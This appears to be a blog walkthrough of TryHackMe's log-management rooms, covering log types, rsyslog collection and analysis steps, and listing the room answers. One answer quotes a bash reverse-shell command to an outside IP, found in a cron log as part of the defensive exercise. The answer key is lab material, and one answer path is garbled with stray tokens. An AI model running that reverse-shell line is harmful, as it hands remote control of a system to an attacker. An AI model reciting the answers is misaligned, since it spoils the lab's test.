Introduction to Logging & Logs | TryHackMe Intro to Logs

We covered an introduction to logging where we discussed the logic of creating logs and why we create logs. Logs are created and generated to track performance, analyze security incidents and to establish a pattern from which future events can be predicted. Logs can be system logs, application logs, security logs, audit logs, server logs and database logs. The process of log management starts with collecting logs, storing them in a central location, parsing the logs and then analyzing using log analysis tools and SIEM as well. This was part of TryHackMe Intro to Logs walkthrough which is part of TryHackMe SOC Level 2 Track.

This post also covers the answers for TryHackMe Log Operations Room.

What are Logs?

Log files are records of events committed to a file in a list format. They can include all sorts of information about events that happened at a particular time. Every device on the network creates log files, thus giving you a history of what’s been happening.
Logs typically contain five headed-up areas. They are:

• Timestamp –the time of the event. 
• Log level – how severe or important the event is.
• Username– who caused the event.
• Service or application – what caused the event.
• Event description – what has happened.

Log file types

• Event log –records information about the usage of network traffic and tracks login attempts, application events, and failed password attempts.
• System log (or syslog) – records operating system events, including startup messages, system changes, shutdowns, and errors and warnings.
• Server log – contains a record of activities in a text document related to a specific server over a specific period of time.
• Change log – lists changes made to an application or file.
• Availability log –tracks uptime, availability, and system performance.
• Authorization and access log – lists who is accessing applications or files.
• Resource log –provides information on connectivity issues and any capacity problems.
• Application Logs Messages about specific applications, including status, errors, warnings, etc.
• Audit Logs Activities related to operational procedures crucial for regulatory compliance.
• Security Logs Security events such as logins, permissions changes, firewall activity, etc.
• Network Logs Network traffic, connections, and other network-related events.
• Database Logs Activities within a database system, such as queries and updates.
• Web Server Logs Requests processed by a web server, including URLs, response codes, etc.

Why are Logs Important?

Maintaining logs serves several critical functions:

• Performance Optimization: By reviewing historical log data, organizations can understand past performance issues, identify bottlenecks, and implement changes to prevent future occurrences.
• Troubleshooting Problems: When applications crash or systems fail, logs provide invaluable clues. They capture error messages and sequences of events leading up to an issue, helping technicians diagnose and resolve problems efficiently.
• Security Analysis: Logs are fundamental to cybersecurity. They can reveal what security incidents happened, when and where they occurred, and potentially who was responsible. This information is vital for investigating breaches and tailoring security measures to prevent future attacks.
• Trend Analysis: Over time, log data can reveal patterns and trends. With the advent of AI and machine learning, analyzing these trends can help predict future events, such as potential system failures or emerging security threats.

What Questions Can Logs Answer?

Well-maintained logs can provide answers to crucial questions about events:

• What happened? (e.g., an application error, a user login, a security breach attempt)
• When did it happen? (Timestamps are a fundamental component of log entries.)
• Where did it happen? (This can be identified through IP addresses, MAC addresses, hostnames, or specific system components.)
• Who is responsible? (Information like usernames or user agents can pinpoint the actor.)
• What was the nature of the event? (e.g., was a login attempt successful or did it fail?)
• What was the result? (e.g., user successfully logged in, data was successfully transferred.)

Log Collection

The process of collecting logs involves several steps:

1. Source Identification: Determine which systems, applications, and devices you need to collect logs from (e.g., web servers, database servers, firewalls, user workstations).
2. Log Collector Implementation: Use log collection software or agents (e.g., rsyslog on Linux, Windows Event Forwarding) to gather logs from the identified sources. These collectors are configured to send logs to specific storage locations.
3. Parameter Selection: Decide precisely what data to collect from each source. For example, from a web server, you might want to collect requested URLs, client IP addresses, and HTTP status codes. Time synchronization across all machines is critical here; ensuring all devices have their clocks synchronized (e.g., using Network Time Protocol – NTP) is vital for correlating events accurately.
4. Testing: Verify that the log collection process is working as expected and that logs are being gathered and stored correctly.

Check rsyslog status:

sudo systemctl status rsyslog

rsyslog configuration files are typically found in /etc/rsyslog.conf and /etc/rsyslog.d/.

A custom configuration file (e.g., /etc/rsyslog.d/ssh.conf) can be created to specify rules for collecting SSH logs. For example, to log all SSH messages to /var/log/sshd.log:

if $programname == 'sshd' then /var/log/sshd.log
& stop # Stop processing this message further to avoid duplicates

After making configuration changes, restart the rsyslog service:

sudo systemctl restart rsyslog

Examine the collected logs:

sudo cat /var/log/sshd.log

This will show entries for SSH login attempts, including successes and failures.

Log Centralization

In most environments, logs are generated by numerous sources. Log centralization is the process of gathering all these disparate logs and forwarding them to a single, central location for unified management, storage, and analysis. This is often achieved using Security Information and Event Management (SIEM) systems or dedicated log management solutions. These systems typically run on dedicated servers. Examples of tools mentioned for this purpose include Splunk and Elasticsearch (often used as part of the ELK Stack – Elasticsearch, Logstash, Kibana).

Log Analysis

Once logs are collected and centralized, the next step is analysis to extract meaningful insights. This involves several stages:

1. Define Data Sources: In analysis tools like Splunk, specify the source of the logs you want to analyze (e.g., a specific log file, a data input from a remote server).
2. Parsing: Logs from different sources and applications often come in various formats. Parsing is the process of breaking down these raw log entries into structured data (e.g., extracting fields like timestamp, IP address, username, event message). Log parsers or the analysis tools themselves often handle this.
3. Normalization: After parsing, logs are brought into a unified, standard format. This makes it easier to compare and correlate events from different sources because all log entries will share a common structure for key fields.
4. Sorting: Ordering logs based on important criteria like time, source IP address, event type, or severity. This helps in focusing on relevant events.
5. Classification: Labeling and categorizing logs after sorting. For instance, classifying events as “security alert,” “error,” “informational,” etc., allows for easier filtering and targeted analysis.
6. Correlation: This is a crucial step where analysts look for relationships and missing links between log entries from different sources. By identifying common denominators (e.g., the same IP address appearing in firewall logs and web server logs around the same time, or similar event severities across multiple systems), analysts can piece together a more complete picture of an event or an attack.
7. Visualization and Reporting: Presenting the findings from log analysis in an understandable way, often using charts, graphs, and dashboards. This helps in communicating the “story” told by the logs to stakeholders.

Room Answers | TryHackMe Intro to Logs

What is the name of your colleague who left a note on your Desktop?

Perry

What is the full path to the suggested log file for initial investigation?

T1566/var/log/gitlab/nginx/access.logT1566

Based on the list of log types in this task, what log type is used by the log file specified in the note from Task 2?

web server log

Based on the list of log formats in this task, what log format is used by the log file specified in the note from Task 2?

combined

After configuring rsyslog for sshd, what username repeatedly appears in the sshd logs at /var/log/websrv-02/rsyslog_sshd.log, indicating failed login attempts or brute forcing?

stansimon

What is the IP address of SIEM-02 based on the rsyslog configuration file /etc/rsyslog.d/99-websrv-02-cron.conf, which is used to monitor cron messages?

10.10.10.101

Based on the generated logs in /var/log/websrv-02/rsyslog_cron.log, what command is being executed by the root user?

/bin/bash -c “/bin/bash -i >& /dev/tcp/34.253.159.159/9999 0>&1”

Based on the logrotate configuration /etc/logrotate.d/99-websrv-02_cron.conf, how many versions of old compressed log file copies will be kept?

24

Based on the logrotate configuration /etc/logrotate.d/99-websrv-02_cron.conf, what is the log rotation frequency?

hourly

Upon accessing the log viewer URL for unparsed raw log files, what error does “/var/log/websrv-02/rsyslog_cron.log” show when selecting the different filters?

no date field

What is the process of standardising parsed data into a more easily readable and query-able format?

Normalisation

What is the process of consolidating normalised logs to enhance the analysis of activities related to a specific IP address?

Enrichment

Room Answers | TryHackMe Log Operations

Which of the given log purposes would be suitable to measure the cost of using a service?

Operational

Which of the given log purposes would be suitable for investigating application logs for enhancement and stability? 

Debug

You are a consultant working for a growing startup. As a consultant, you participated in a log configuration planning session. The company you work for is working to get compliant to process payment information. The given question set is being discussed.

Which question’s answer can be “as much as mentioned in the PCI DSS requirements.”?

How much do you need to log

The session continues, and your teammates need your help; they will negotiate for logging budget and operation details. As a consultant, you must remind them of a vital point:

Which requirements are non-negotiable?

operational and security requirements

Your team is working on policies to decide which logs will be stored and which portion will be available for analysis.
Which of the given logging principles would be implemented and improved?

Archiving and Accessibility

Your team implemented a brand new API logging product. One of the team members has been tasked with collecting the logs generated by that new product. The team member reported continuous errors when transferring the logs to the review platform.
In this case, which of the given difficulties occurs?

Process and Archive

As a consultant, you are doing a comprehensive risk assessment and noticed that one of the development teams implemented a custom script to generate logs for an old system, which omits loggings at some phases.

What you would call this? (Mistake or Practice?)

Mistake

Video Walkthrough